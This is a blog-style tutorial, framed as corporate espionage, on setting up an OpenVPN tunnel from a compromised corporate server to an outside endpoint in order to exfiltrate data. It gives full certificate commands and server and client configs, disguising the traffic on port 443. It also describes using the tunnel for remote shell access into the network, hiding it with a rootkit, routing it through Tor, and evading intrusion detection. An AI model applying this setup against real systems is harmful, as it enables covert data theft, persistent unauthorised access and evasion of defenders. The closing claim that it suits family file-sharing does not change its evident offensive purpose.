There are many uses for a covert network, for this hypothetical scenario we are corporate spies and we need to exfiltrate data from our assets inside the target corporations network. I don’t think the concepts here are new, but I haven’t seen any decent how to’s for a setup like this.
I’m going to skip some steps that aren’t relevant to the configuration and use of OpenVPN, the reader needs to accept that my corporate target has a compromised host on their network. This includes how the VPN is hidden from the target, how root access is obtained, etc. Those details are left to the reader. I will discuss possible solutions, but not how to implement them. This configuration could just as easily be used to share pictures between family members.
Because I’m very good at corporate espionage, I pick a high value host as my target. The target host could be a mail server, database host, web server, file server, financial or accounting server, etc. The goal is to exfiltrate data from this server without raising suspicion. This example uses port 443 as the VPN port, but you could easily use port 25 or another common port used by the target server. Data leaving a mail server with a destination port of 25 would not look suspicious, where port 1194, the default OpenVPN port would be more obvious.
The distribution used is Ubuntu 10.04.
Install OpenVPN on the server and client:
sudo apt-get install openvpn
Create the OpenVPN server certs.
sudo mkdir /etc/openvpn/easy-rsa/
Copy the easy-rsa directory to /etc/openvpn. This will prevent upgrades from modifying the changes.
sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/ /etc/openvpn/easy-rsa/
Edit /etc/openvpn/easy-rsa/vars and modify for your purpose:
export KEY_COUNTRY="US" export KEY_PROVINCE="DC" export KEY_CITY="'Washington'" export KEY_ORG="''Super Spy Inc.''" export KEY_EMAIL="''spy at spy99.com''"
Run the scripts to create the server certificates:
cd /etc/openvpn/easy-rsa/easy-rsa source vars ./clean-all ./build-dh ./pkitool --initca ./pkitool --server server cd keys openvpn --genkey --secret ta.key sudo cp server.crt server.key ca.crt dh1024.pem ta.key /etc/openvpn/
Now we need a config file, for the server we create a file called server.conf.
sudo vi /etc/openvpn/server.conf
Make sure you have enough IPs available for all the clients you plan to have, in this Point to Point scenario, you need at least two IPs per client. Each side of the PTP link will get an IP. The server will take the first IP available. If we use 172.16.1.1/24, the server will take 172.16.1.1. This IP will be accessible from all clients, even if the IP won’t be listed on tun0. The server example uses “172.16.10.0 255.255.255.0” that may be overkill for your scenario.
port 443 proto tcp-server dev tun ca ca.crt cert server.crt key server.key dh dh1024.pem server 172.16.10.0 255.255.255.0 ifconfig-pool-persist ipp.txt push "dhcp-option DNS 172.16.10.1" ;push "dhcp-option DNS 188.8.131.52" ;push "dhcp-option DNS 184.108.40.206" ;client-to-client keepalive 10 120 tls-auth ta.key 0 comp-lzo persist-key persist-tun status openvpn-status.log ;log openvpn.log ;log-append openvpn.log verb 3 ;mute 20
The OpenVPN configuration is the mostly the same for client or server with some minor changes between them.
On the server we need to create the client’s certificates.
Create the cert:
cd /etc/openvpn/easy-rsa/ source vars ./pkitool client
You can replace client with the name of your client for easy tracking.
Copy the certificate files that have been created on the server to the client’s /etc/openvpn directory.
ca.crt client.crt client.key ta.key
For the client we create a file called client.conf. Modify the server address for your config.
sudo vi /etc/openvpn/client.conf
client dev tun proto tcp-client remote yourserver.example.com 443 resolv-retry infinite nobind persist-key persist-tun persist-local-ip persist-remote-ip ca ca.crt cert client.crt key client.key tls-auth ta.key 1 comp-lzo verb 0 ;mute 20 ;ping 30 ;ping-restart 120
TCP port 443 is used because it doesn’t attract as much attention as the default OpenVPN UDP port 1194. TCP is usually not recommend and can cause problems, read more here: http://sites.inka.de/sites/bigred/devel/tcp-tcp.html The other reason to use 443 as opposed to port 80, is that any proxy in between the client and server can make connecting the tunnel difficult, if not impossible.
The VPN type is tun, we aren’t doing any bridging, just a simple Point to Point tunnel between client and server.
Keepalive on the server keeps the tunnel alive and will restart it if a ping isn’t received in the set time. Setting keepalive on the server forces the defaults for ping and ping-restart on the client, you can modify the defaults manually on the client. If you don’t want the tunnel open all the time, you can remove this option. Keep in mind the tunnel will have to negotiate every time it’s used if it closes.
Up and Running
Start the vpn on both the client and server
sudo /etc/init.d/openvpn start
It will take a few seconds for the tunnel to negotiate. When the tunnel is up, you will see tun0 in the ifconfig output.
tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:172.16.10.14 P-t-P:172.16.10.13 Mask:255.255.255.255 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:4145 errors:0 dropped:0 overruns:0 frame:0 TX packets:3379 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:4075951 (4.0 MB) TX bytes:334285 (334.2 KB)
Our end of the PtP link is .14 and the other end is .13. Neither of these IPs will be visible on the server with netstat or ifconfig. You will find the P-t-P IP in /etc/openvpn/openvpn-status.log along with the public IP the client is using.
The routing table on the client after our tunnel is up and working should look like this:
Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 172.16.10.13 0.0.0.0 255.255.255.255 UH 0 0 0 tun0 172.16.10.1 172.16.10.13 255.255.255.255 UGH 0 0 0 tun0 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0
Check /var/log/syslog and /var/log/daemon.log for clues as to why the tunnel isn’t up.
Once my network is up and running, I can pass any traffic over the tunnel without restriction. I could ftp files, copy to a samba share, scp or even rsync data to my destination host. Since my tunnel works both ways, I can initiate connections from my endpoint outside the corporate network and have shell access to the host, which in turn has access to the corporate network. If I’m a competent spy, I can install a rootkit and hide my OpenVPN process as well as any terminals I’m running. For anyone looking for evidence of compromise they will only see traffic on port 443. This may trigger an IDS, but more than likely it won’t. Traffic on port 443 is normally encrypted and can’t be viewed by an IDS, so my encrypted VPN packets won’t raise any alerts. If the corporate network is forcing the use of a proxy, my VPN traffic will traverse it without issues. If the proxy requires a password, OpenVPN has support for that too.
If I was interested in hiding my endpoint, I could use the Tor network to proxy my traffic. Tor could easily be added to the configuration without a lot of OpenVPN changes. OpenVPN has support for proxies and with Privoxy and Tor running on my compromised host, I could completely hide where the VPN traffic was terminating. Tor will change your next hop on a regular interval, so your compromised host won’t even be sending large amounts of data to a single host. There are many ways to further disguise your vpn, Tor is just one.
We successfully configured a VPN that can traverse proxies and is fairly well hidden from detection. We have full access to the target host and have a configuration that allows for multiple clients and allows for unlimited possibilities. While our scenario was for corporate espionage, this VPN can be used for a private network amongst friends and families or just a secure network between your home and your webhost.